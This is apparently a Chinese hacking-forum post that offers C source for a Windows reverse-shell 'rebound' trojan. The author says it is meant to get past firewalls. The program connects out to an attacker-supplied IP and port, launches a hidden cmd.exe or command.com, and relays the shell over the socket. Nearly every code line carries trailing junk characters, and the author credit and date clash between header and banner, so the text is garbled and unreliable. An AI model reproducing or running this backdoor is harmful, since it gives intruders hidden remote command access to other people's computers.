这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5SPhdpIg@[
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/* ============================== JLo'=(
Rebound port in Windows NT 4j^-n_T
By wind,2006/7 4.il4Qqy}i
===============================*/ X^;[X~g
#include %;ZWYj`]n
#include w/_n$hX
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#pragma comment(lib,"wsock32.lib") "!43,!<
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void OutputShell(); nF$n[:
SOCKET sClient; ,ab_u@
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W[Kv
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void main(int argc,char **argv) V@krw"vW
{ XJJdCv^
WSADATA stWsaData; ms9zp?M
int nRet; !_EL{ /ko
SOCKADDR_IN stSaiClient,stSaiServer; W,<L/ZKJ
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if(argc != 3) vC$Q4>m
{ HQPb
printf("Useage:\n\rRebound DestIP DestPort\n"); fXfBDB
return; 4C AV)
} 74f3a|vx/
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WSAStartup(MAKEWORD(2,2),&stWsaData); Pf,S`Uw;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &%J+d"n(
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stSaiClient.sin_family = AF_INET; $p_FrN{
stSaiClient.sin_port = htons(0); ]j.=zQP?'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j{}-zQ]n
{ a2Y7\C/
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4cZig\mE;
{ 7C~qAI6Eg
printf("Bind Socket Failed!\n"); fDe4 [QQ8
return; P(iZGOKUs=
} CbPCj.MH
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stSaiServer.sin_family = AF_INET; 5gP<+S#>T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X( Q*(_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %1f, 8BM
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W5'07N^
{ b _Q:v&
printf("Connect Error!"); RSL%<
return; Jt-s6-2
} W?+U%bIZ9
OutputShell(); ?t;>]Wo;
} g7*"*%v 2
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void OutputShell() >R|*FYam
{ si`{>e~`6P
char szBuff[1024]; @q=l H
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SECURITY_ATTRIBUTES stSecurityAttributes; JiFy.Pf
OSVERSIONINFO stOsversionInfo; W40GW
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oL?[9aww
STARTUPINFO stStartupInfo; t:A,pT3
char *szShell; 00DWXGt20o
PROCESS_INFORMATION stProcessInformation; agQ5%t#
unsigned long lBytesRead; 1-z*'Ghys
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NpmPm1Ix .
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y-8qAF?SJ]
stSecurityAttributes.lpSecurityDescriptor = 0; /D9FjOP
stSecurityAttributes.bInheritHandle = TRUE; }h+_kRQ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F[aow$",+}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i&cH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _ F0qqj
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
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stStartupInfo.wShowWindow = SW_HIDE; R'E8>ee;^
stStartupInfo.hStdInput = hReadPipe; Y~RZf /`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7 V/yU5
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GetVersionEx(&stOsversionInfo); #xWC(*Ggp
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switch(stOsversionInfo.dwPlatformId) *q5'~)W<
{ ]mU,y$IQ
case 1: 0 O{Y
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szShell = "command.com"; A<6V$e$:2
break; WIwbf |\
default: dhW; |
szShell = "cmd.exe"; FV[6">;g
break; 1'|6IR1'
} nMU#g])y)
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =k4yWC5-
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send(sClient,szMsg,77,0); !'14mN#A
while(1) DSwF
}
{ h]Zc&&+8{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $s2-O!P?
if(lBytesRead) Q*TxjE7K
{ D3^[OHi~a
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h;vD"!gP
send(sClient,szBuff,lBytesRead,0); ?Az pb}#
} vcB+h;x
else &`rV{%N"
{ -`e=u<Y9@
lBytesRead=recv(sClient,szBuff,1024,0); v{rc5 ]\R
if(lBytesRead<=0) break; "?j|;p@!>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :oB4\/(G#
} V07x+ovq
} V:42\b7x
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return; @4:cn
}